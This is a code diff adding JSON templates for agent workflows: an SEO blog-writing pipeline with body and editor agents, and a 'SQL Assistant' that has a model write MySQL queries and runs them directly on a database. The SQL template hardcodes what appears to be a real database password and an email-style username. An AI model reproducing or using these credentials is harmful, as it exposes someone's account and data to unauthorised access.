+                            "y": 287.7669662022325
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "toolNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "delay_after_error": 1,
+                                "description": "",
+                                "exception_comment": "",
+                                "exception_default_value": "",
+                                "exception_goto": [],
+                                "exception_method": null,
+                                "frequencyPenaltyEnabled": false,
+                                "frequency_penalty": 0.5,
+                                "llm_id": "deepseek-chat@DeepSeek",
+                                "maxTokensEnabled": false,
+                                "max_retries": 3,
+                                "max_rounds": 5,
+                                "max_tokens": 4096,
+                                "mcp": [],
+                                "message_history_window_size": 12,
+                                "outputs": {
+                                    "content": {
+                                        "type": "string",
+                                        "value": ""
+                                    }
+                                },
+                                "parameter": "Precise",
+                                "presencePenaltyEnabled": false,
+                                "presence_penalty": 0.5,
+                                "prompts": [
+                                    {
+                                        "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}\n\n\n\nThe Outline agent output is {Agent:BetterSitesSend@content}",
+                                        "role": "user"
+                                    }
+                                ],
+                                "sys_prompt": "# Role\n\nYou are the **Body_Agent**, responsible for generating the full content of each section of an SEO-optimized blog based on the provided outline and keyword strategy.\n\n# Tool Access:\n\nYou can use the `Tavily Search` tool to retrieve relevant content, statistics, or examples to support each section you're writing.\n\nUse it **only** when the provided outline lacks enough information, or if the section requires factual grounding.\n\nAlways cite the original link or indicate source where possible.\n\n\n# Goals\n\n1. Write each section (based on H2/H3 structure) as a complete and natural blog paragraph.\n\n2. Integrate the suggested long-tail keywords naturally into each section.\n\n3. When appropriate, use the `Tavily Search` tool to enrich your writing with relevant facts, examples, or quotes.\n\n4. Ensure each section is clear, engaging, and informative, suitable for both human readers and search engines.\n\n\n# Style Guidelines\n\n- Write in a tone appropriate to the audience. Be explanatory, not promotional, unless it's a marketing blog.\n\n- Avoid generic filler content. Prioritize clarity, structure, and value.\n\n- Ensure SEO keywords are embedded seamlessly, not forcefully.\n\n\n\n- Maintain writing rhythm. Vary sentence lengths. Use transitions between ideas.\n\n\n# Input\n\n\nYou will receive:\n\n- Blog title\n\n- Structured outline (including section titles, keywords, and descriptions)\n\n- Target audience\n\n- Blog type and user intent\n\nYou must **follow the outline strictly**. Write content **section-by-section**, based on the structure.\n\n\n# Output Format\n\n```markdown\n\n## H2: [Section Title]\n\n[Your generated content for this section \u2014 500-600 words, using keywords naturally.]\n\n",
+                                "temperature": 0.2,
+                                "temperatureEnabled": true,
+                                "tools": [
+                                    {
+                                        "component_name": "TavilySearch",
+                                        "name": "TavilySearch",
+                                        "params": {
+                                            "api_key": "",
+                                            "days": 7,
+                                            "exclude_domains": [],
+                                            "include_answer": false,
+                                            "include_domains": [],
+                                            "include_image_descriptions": false,
+                                            "include_images": false,
+                                            "include_raw_content": true,
+                                            "max_results": 5,
+                                            "outputs": {
+                                                "formalized_content": {
+                                                    "type": "string",
+                                                    "value": ""
+                                                },
+                                                "json": {
+                                                    "type": "Array<Object>",
+                                                    "value": []
+                                                }
+                                            },
+                                            "query": "sys.query",
+                                            "search_depth": "basic",
+                                            "topic": "general"
+                                        }
+                                    }
+                                ],
+                                "topPEnabled": false,
+                                "top_p": 0.75,
+                                "user_prompt": "",
+                                "visual_files_var": ""
+                            },
+                            "label": "Agent",
+                            "name": "Body Agent"
+                        },
+                        "dragging": false,
+                        "id": "Agent:EagerNailsRemain",
+                        "measured": {
+                            "height": 84,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 889.0614605692713,
+                            "y": 247.00973041799065
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "agentNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "description": "This is an agent for a specific task.",
+                                "user_prompt": "This is the order you need to send to the agent."
+                            },
+                            "label": "Tool",
+                            "name": "flow.tool_1"
+                        },
+                        "dragging": false,
+                        "id": "Tool:WickedDeerHeal",
+                        "measured": {
+                            "height": 44,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 853.2006404239659,
+                            "y": 364.37541577229143
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "toolNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "delay_after_error": 1,
+                                "description": "",
+                                "exception_comment": "",
+                                "exception_default_value": "",
+                                "exception_goto": [],
+                                "exception_method": null,
+                                "frequencyPenaltyEnabled": false,
+                                "frequency_penalty": 0.5,
+                                "llm_id": "deepseek-chat@DeepSeek",
+                                "maxTokensEnabled": false,
+                                "max_retries": 3,
+                                "max_rounds": 5,
+                                "max_tokens": 4096,
+                                "mcp": [],
+                                "message_history_window_size": 12,
+                                "outputs": {
+                                    "content": {
+                                        "type": "string",
+                                        "value": ""
+                                    }
+                                },
+                                "parameter": "Precise",
+                                "presencePenaltyEnabled": false,
+                                "presence_penalty": 0.5,
+                                "prompts": [
+                                    {
+                                        "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}\n\nThe Outline agent output is {Agent:BetterSitesSend@content}\n\nThe Body agent output is {Agent:EagerNailsRemain@content}",
+                                        "role": "user"
+                                    }
+                                ],
+                                "sys_prompt": "# Role\n\nYou are the **Editor_Agent**, responsible for finalizing the blog post for both human readability and SEO effectiveness.\n\n# Goals\n\n1. Polish the entire blog content for clarity, coherence, and style.\n\n2. Improve transitions between sections, ensure logical flow.\n\n3. Verify that keywords are used appropriately and effectively.\n\n4. Conduct a lightweight SEO audit \u2014 checking keyword density, structure (H1/H2/H3), and overall searchability.\n\n\n\n# Style Guidelines\n\n- Be precise. Avoid bloated or vague language.\n\n- Maintain an informative and engaging tone, suitable to the target audience.\n\n- Do not remove keywords unless absolutely necessary for clarity.\n\n- Ensure paragraph flow and section continuity.\n\n\n# Input\n\nYou will receive:\n\n- Full blog content, written section-by-section\n\n- Original outline with suggested keywords\n\n- Target audience and writing type\n\n# Output Format\n\n```markdown\n\n[The revised, fully polished blog post content goes here.]\n\n",
+                                "temperature": 0.2,
+                                "temperatureEnabled": true,
+                                "tools": [],
+                                "topPEnabled": false,
+                                "top_p": 0.75,
+                                "user_prompt": "",
+                                "visual_files_var": ""
+                            },
+                            "label": "Agent",
+                            "name": "Editor Agent"
+                        },
+                        "dragging": false,
+                        "id": "Agent:LovelyHeadsOwn",
+                        "measured": {
+                            "height": 84,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 1160.3332919804993,
+                            "y": 149.50806732882472
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "agentNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "content": [
+                                    "{Agent:LovelyHeadsOwn@content}"
+                                ]
+                            },
+                            "label": "Message",
+                            "name": "Response"
+                        },
+                        "dragging": false,
+                        "id": "Message:LegalBeansBet",
+                        "measured": {
+                            "height": 56,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 1370.6665839609984,
+                            "y": 267.0323933738015
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "messageNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "text": "This workflow automatically generates a complete SEO-optimized blog article based on a simple user input. You don\u2019t need any writing experience. Just provide a topic or short request \u2014 the system will handle the rest.\n\nThe process includes the following key stages:\n\n1. **Understanding your topic and goals**\n2. **Designing the blog structure**\n3. **Writing high-quality content**\n\n\n"
+                            },
+                            "label": "Note",
+                            "name": "Workflow Overall Description"
+                        },
+                        "dragHandle": ".note-drag-handle",
+                        "dragging": false,
+                        "height": 205,
+                        "id": "Note:SlimyGhostsWear",
+                        "measured": {
+                            "height": 205,
+                            "width": 415
+                        },
+                        "position": {
+                            "x": -284.3143151688742,
+                            "y": 150.47632147913419
+                        },
+                        "resizing": false,
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "noteNode",
+                        "width": 415
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "text": "**Purpose**:  \nThis agent reads the user\u2019s input and figures out what kind of blog needs to be written.\n\n**What it does**:\n- Understands the main topic you want to write about  \n- Identifies who the blog is for (e.g., beginners, marketers, developers)  \n- Determines the writing purpose (e.g., SEO traffic, product promotion, education)  \n- Suggests 3\u20135 long-tail SEO keywords related to the topic"
+                            },
+                            "label": "Note",
+                            "name": "Parse And Keyword Agent"
+                        },
+                        "dragHandle": ".note-drag-handle",
+                        "dragging": false,
+                        "height": 152,
+                        "id": "Note:EmptyChairsShake",
+                        "measured": {
+                            "height": 152,
+                            "width": 340
+                        },
+                        "position": {
+                            "x": 295.04147626768133,
+                            "y": 372.2755718118446
+                        },
+                        "resizing": false,
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "noteNode",
+                        "width": 340
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "text": "**Purpose**:  \nThis agent builds the blog structure \u2014 just like writing a table of contents before you start writing the full article.\n\n**What it does**:\n- Suggests a clear blog title that includes important keywords  \n- Breaks the article into sections using H2 and H3 headings (like a professional blog layout)  \n- Assigns 1\u20132 recommended keywords to each section to help with SEO  \n- Follows the writing goal and target audience set in the previous step"
+                            },
+                            "label": "Note",
+                            "name": "Outline Agent"
+                        },
+                        "dragHandle": ".note-drag-handle",
+                        "dragging": false,
+                        "height": 146,
+                        "id": "Note:TallMelonsNotice",
+                        "measured": {
+                            "height": 146,
+                            "width": 343
+                        },
+                        "position": {
+                            "x": 598.5644991893463,
+                            "y": 5.801054564756448
+                        },
+                        "resizing": false,
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "noteNode",
+                        "width": 343
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "text": "**Purpose**:  \nThis agent is responsible for writing the actual content of the blog \u2014 paragraph by paragraph \u2014 based on the outline created earlier.\n\n**What it does**:\n- Looks at each H2/H3 section in the outline  \n- Writes 150\u2013220 words of clear, helpful, and well-structured content per section  \n- Includes the suggested SEO keywords naturally (not keyword stuffing)  \n- Uses real examples or facts if needed (by calling a web search tool like Tavily)"
+                            },
+                            "label": "Note",
+                            "name": "Body Agent"
+                        },
+                        "dragHandle": ".note-drag-handle",
+                        "dragging": false,
+                        "height": 137,
+                        "id": "Note:RipeCougarsBuild",
+                        "measured": {
+                            "height": 137,
+                            "width": 319
+                        },
+                        "position": {
+                            "x": 860.4854129814981,
+                            "y": 427.2196835690842
+                        },
+                        "resizing": false,
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "noteNode",
+                        "width": 319
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "text": "**Purpose**:  \nThis agent reviews the entire blog draft to make sure it is smooth, professional, and SEO-friendly. It acts like a human editor before publishing.\n\n**What it does**:\n- Polishes the writing: improves sentence clarity, fixes awkward phrasing  \n- Makes sure the content flows well from one section to the next  \n- Double-checks keyword usage: are they present, natural, and not overused?  \n- Verifies the blog structure (H1, H2, H3 headings) is correct  \n- Adds two key SEO elements:\n  - **Meta Title** (shows up in search results)\n  - **Meta Description** (summary for Google and social sharing)"
+                            },
+                            "label": "Note",
+                            "name": "Editor Agent"
+                        },
+                        "dragHandle": ".note-drag-handle",
+                        "height": 146,
+                        "id": "Note:OpenTurkeysSell",
+                        "measured": {
+                            "height": 146,
+                            "width": 320
+                        },
+                        "position": {
+                            "x": 1129,
+                            "y": -30
+                        },
+                        "resizing": false,
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "noteNode",
+                        "width": 320
+                    }
+                ]
+            },
+            "history": [],
+            "messages": [],
+            "path": [],
+            "retrieval": []
+        },
+    "avatar": "data:image/jpeg;base64,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"
+}

agent/templates/sql_assistant.json

@@ -0,0 +1,724 @@
+{
+    "id": 17,
+    "title": "SQL Assistant",
+    "description": "SQL Assistant is an AI-powered tool that lets business users turn plain-English questions into fully formed SQL queries. Simply type your question (e.g., “Show me last quarter’s top 10 products by revenue”) and SQL Assistant generates the exact SQL, runs it against your database, and returns the results in seconds. ",
+    "canvas_type": "Marketing",
+    "dsl": {
+            "components": {
+                "Agent:WickedGoatsDivide": {
+                    "downstream": [
+                        "ExeSQL:TiredShirtsPull"
+                    ],
+                    "obj": {
+                        "component_name": "Agent",
+                        "params": {
+                            "delay_after_error": 1,
+                            "description": "",
+                            "exception_default_value": "",
+                            "exception_goto": [],
+                            "exception_method": "",
+                            "frequencyPenaltyEnabled": false,
+                            "frequency_penalty": 0.7,
+                            "llm_id": "qwen-max@Tongyi-Qianwen",
+                            "maxTokensEnabled": false,
+                            "max_retries": 3,
+                            "max_rounds": 5,
+                            "max_tokens": 256,
+                            "mcp": [],
+                            "message_history_window_size": 12,
+                            "outputs": {
+                                "content": {
+                                    "type": "string",
+                                    "value": ""
+                                }
+                            },
+                            "presencePenaltyEnabled": false,
+                            "presence_penalty": 0.4,
+                            "prompts": [
+                                {
+                                    "content": "User's query: {sys.query}\n\nSchema: {Retrieval:HappyTiesFilm@formalized_content}\n\nSamples about question to SQL: {Retrieval:SmartNewsHammer@formalized_content}\n\nDescription about meanings of tables and files: {Retrieval:SweetDancersAppear@formalized_content}",
+                                    "role": "user"
+                                }
+                            ],
+                            "sys_prompt": "### ROLE\nYou are a Text-to-SQL assistant.  \nGiven a relational database schema and a natural-language request, you must produce a **single, syntactically-correct MySQL query** that answers the request.  \nReturn **nothing except the SQL statement itself**\u2014no code fences, no commentary, no explanations, no comments, no trailing semicolon if not required.\n\n\n###  EXAMPLES  \n-- Example 1  \nUser: List every product name and its unit price.  \nSQL:\nSELECT name, unit_price FROM Products;\n\n-- Example 2  \nUser: Show the names and emails of customers who placed orders in January 2025.  \nSQL:\nSELECT DISTINCT c.name, c.email\nFROM Customers c\nJOIN Orders o ON o.customer_id = c.id\nWHERE o.order_date BETWEEN '2025-01-01' AND '2025-01-31';\n\n-- Example 3  \nUser: How many orders have a status of \"Completed\" for each month in 2024?  \nSQL:\nSELECT DATE_FORMAT(order_date, '%Y-%m') AS month,\n       COUNT(*) AS completed_orders\nFROM Orders\nWHERE status = 'Completed'\n  AND YEAR(order_date) = 2024\nGROUP BY month\nORDER BY month;\n\n-- Example 4  \nUser: Which products generated at least \\$10 000 in total revenue?  \nSQL:\nSELECT p.id, p.name, SUM(oi.quantity * oi.unit_price) AS revenue\nFROM Products p\nJOIN OrderItems oi ON oi.product_id = p.id\nGROUP BY p.id, p.name\nHAVING revenue >= 10000\nORDER BY revenue DESC;\n\n\n### OUTPUT GUIDELINES\n1. Think through the schema and the request.  \n2. Write **only** the final MySQL query.  \n3. Do **not** wrap the query in back-ticks or markdown fences.  \n4. Do **not** add explanations, comments, or additional text\u2014just the SQL.",
+                            "temperature": 0.1,
+                            "temperatureEnabled": false,
+                            "tools": [],
+                            "topPEnabled": false,
+                            "top_p": 0.3,
+                            "user_prompt": "",
+                            "visual_files_var": ""
+                        }
+                    },
+                    "upstream": [
+                        "Retrieval:HappyTiesFilm",
+                        "Retrieval:SmartNewsHammer",
+                        "Retrieval:SweetDancersAppear"
+                    ]
+                },
+                "ExeSQL:TiredShirtsPull": {
+                    "downstream": [
+                        "Message:ShaggyMasksAttend"
+                    ],
+                    "obj": {
+                        "component_name": "ExeSQL",
+                        "params": {
+                            "database": "",
+                            "db_type": "mysql",
+                            "host": "",
+                            "max_records": 1024,
+                            "outputs": {
+                                "formalized_content": {
+                                    "type": "string",
+                                    "value": ""
+                                },
+                                "json": {
+                                    "type": "Array<Object>",
+                                    "value": []
+                                }
+                            },
+                            "password": "20010812Yy!",
+                            "port": 3306,
+                            "sql": "Agent:WickedGoatsDivide@content",
+                            "username": "13637682833@163.com"
+                        }
+                    },
+                    "upstream": [
+                        "Agent:WickedGoatsDivide"
+                    ]
+                },
+                "Message:ShaggyMasksAttend": {
+                    "downstream": [],
+                    "obj": {
+                        "component_name": "Message",
+                        "params": {
+                            "content": [
+                                "{ExeSQL:TiredShirtsPull@formalized_content}"
+                            ]
+                        }
+                    },
+                    "upstream": [
+                        "ExeSQL:TiredShirtsPull"
+                    ]
+                },
+                "Retrieval:HappyTiesFilm": {
+                    "downstream": [
+                        "Agent:WickedGoatsDivide"
+                    ],
+                    "obj": {
+                        "component_name": "Retrieval",
+                        "params": {
+                            "cross_languages": [],
+                            "empty_response": "",
+                            "kb_ids": [
+                                "ed31364c727211f0bdb2bafe6e7908e6"
+                            ],
+                            "keywords_similarity_weight": 0.7,
+                            "outputs": {
+                                "formalized_content": {
+                                    "type": "string",
+                                    "value": ""
+                                }
+                            },
+                            "query": "sys.query",
+                            "rerank_id": "",
+                            "similarity_threshold": 0.2,
+                            "top_k": 1024,
+                            "top_n": 8,
+                            "use_kg": false
+                        }
+                    },
+                    "upstream": [
+                        "begin"
+                    ]
+                },
+                "Retrieval:SmartNewsHammer": {
+                    "downstream": [
+                        "Agent:WickedGoatsDivide"
+                    ],
+                    "obj": {
+                        "component_name": "Retrieval",
+                        "params": {
+                            "cross_languages": [],
+                            "empty_response": "",
+                            "kb_ids": [
+                                "0f968106727311f08357bafe6e7908e6"
+                            ],
+                            "keywords_similarity_weight": 0.7,
+                            "outputs": {
+                                "formalized_content": {
+                                    "type": "string",
+                                    "value": ""
+                                }
+                            },
+                            "query": "sys.query",
+                            "rerank_id": "",
+                            "similarity_threshold": 0.2,
+                            "top_k": 1024,
+                            "top_n": 8,
+                            "use_kg": false
+                        }
+                    },
+                    "upstream": [
+                        "begin"
+                    ]
+                },
+                "Retrieval:SweetDancersAppear": {
+                    "downstream": [
+                        "Agent:WickedGoatsDivide"
+                    ],
+                    "obj": {
+                        "component_name": "Retrieval",
+                        "params": {
+                            "cross_languages": [],
+                            "empty_response": "",
+                            "kb_ids": [
+                                "4ad1f9d0727311f0827dbafe6e7908e6"
+                            ],
+                            "keywords_similarity_weight": 0.7,
+                            "outputs": {
+                                "formalized_content": {
+                                    "type": "string",
+                                    "value": ""
+                                }
+                            },
+                            "query": "sys.query",
+                            "rerank_id": "",
+                            "similarity_threshold": 0.2,
+                            "top_k": 1024,
+                            "top_n": 8,
+                            "use_kg": false
+                        }
+                    },
+                    "upstream": [
+                        "begin"
+                    ]
+                },
+                "begin": {
+                    "downstream": [
+                        "Retrieval:HappyTiesFilm",
+                        "Retrieval:SmartNewsHammer",
+                        "Retrieval:SweetDancersAppear"
+                    ],
+                    "obj": {
+                        "component_name": "Begin",
+                        "params": {
+                            "enablePrologue": true,
+                            "inputs": {},
+                            "mode": "conversational",
+                            "prologue": "Hi! I'm your SQL assistant. What can I do for you?"
+                        }
+                    },
+                    "upstream": []
+                }
+            },
+            "globals": {
+                "sys.conversation_turns": 0,
+                "sys.files": [],
+                "sys.query": "",
+                "sys.user_id": ""
+            },
+            "graph": {
+                "edges": [
+                    {
+                        "data": {
+                            "isHovered": false
+                        },
+                        "id": "xy-edge__beginstart-Retrieval:HappyTiesFilmend",
+                        "source": "begin",
+                        "sourceHandle": "start",
+                        "target": "Retrieval:HappyTiesFilm",
+                        "targetHandle": "end"
+                    },
+                    {
+                        "id": "xy-edge__beginstart-Retrieval:SmartNewsHammerend",
+                        "source": "begin",
+                        "sourceHandle": "start",
+                        "target": "Retrieval:SmartNewsHammer",
+                        "targetHandle": "end"
+                    },
+                    {
+                        "data": {
+                            "isHovered": false
+                        },
+                        "id": "xy-edge__beginstart-Retrieval:SweetDancersAppearend",
+                        "source": "begin",
+                        "sourceHandle": "start",
+                        "target": "Retrieval:SweetDancersAppear",
+                        "targetHandle": "end"
+                    },
+                    {
+                        "data": {
+                            "isHovered": false
+                        },
+                        "id": "xy-edge__Retrieval:HappyTiesFilmstart-Agent:WickedGoatsDivideend",
+                        "source": "Retrieval:HappyTiesFilm",
+                        "sourceHandle": "start",
+                        "target": "Agent:WickedGoatsDivide",
+                        "targetHandle": "end"
+                    },
+                    {
+                        "data": {
+                            "isHovered": false
+                        },
+                        "id": "xy-edge__Retrieval:SmartNewsHammerstart-Agent:WickedGoatsDivideend",
+                        "markerEnd": "logo",
+                        "source": "Retrieval:SmartNewsHammer",
+                        "sourceHandle": "start",
+                        "style": {
+                            "stroke": "rgba(91, 93, 106, 1)",
+                            "strokeWidth": 1
+                        },
+                        "target": "Agent:WickedGoatsDivide",
+                        "targetHandle": "end",
+                        "type": "buttonEdge",
+                        "zIndex": 1001
+                    },
+                    {
+                        "data": {
+                            "isHovered": false
+                        },
+                        "id": "xy-edge__Retrieval:SweetDancersAppearstart-Agent:WickedGoatsDivideend",
+                        "markerEnd": "logo",
+                        "source": "Retrieval:SweetDancersAppear",
+                        "sourceHandle": "start",
+                        "style": {
+                            "stroke": "rgba(91, 93, 106, 1)",
+                            "strokeWidth": 1
+                        },
+                        "target": "Agent:WickedGoatsDivide",
+                        "targetHandle": "end",
+                        "type": "buttonEdge",
+                        "zIndex": 1001
+                    },
+                    {
+                        "data": {
+                            "isHovered": false
+                        },
+                        "id": "xy-edge__Agent:WickedGoatsDividestart-ExeSQL:TiredShirtsPullend",
+                        "source": "Agent:WickedGoatsDivide",
+                        "sourceHandle": "start",
+                        "target": "ExeSQL:TiredShirtsPull",
+                        "targetHandle": "end"
+                    },
+                    {
+                        "data": {
+                            "isHovered": false
+                        },
+                        "id": "xy-edge__ExeSQL:TiredShirtsPullstart-Message:ShaggyMasksAttendend",
+                        "source": "ExeSQL:TiredShirtsPull",
+                        "sourceHandle": "start",
+                        "target": "Message:ShaggyMasksAttend",
+                        "targetHandle": "end"
+                    }
+                ],
+                "nodes": [
+                    {
+                        "data": {
+                            "form": {
+                                "enablePrologue": true,
+                                "inputs": {},
+                                "mode": "conversational",
+                                "prologue": "Hi! I'm your SQL assistant. What can I do for you?"
+                            },
+                            "label": "Begin",
+                            "name": "begin"
+                        },
+                        "id": "begin",
+                        "measured": {
+                            "height": 48,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 50,
+                            "y": 200
+                        },
+                        "selected": false,
+                        "sourcePosition": "left",
+                        "targetPosition": "right",
+                        "type": "beginNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "cross_languages": [],
+                                "empty_response": "",
+                                "kb_ids": [
+                                    "ed31364c727211f0bdb2bafe6e7908e6"
+                                ],
+                                "keywords_similarity_weight": 0.7,
+                                "outputs": {
+                                    "formalized_content": {
+                                        "type": "string",
+                                        "value": ""
+                                    }
+                                },
+                                "query": "sys.query",
+                                "rerank_id": "",
+                                "similarity_threshold": 0.2,
+                                "top_k": 1024,
+                                "top_n": 8,
+                                "use_kg": false
+                            },
+                            "label": "Retrieval",
+                            "name": "Schema"
+                        },
+                        "dragging": false,
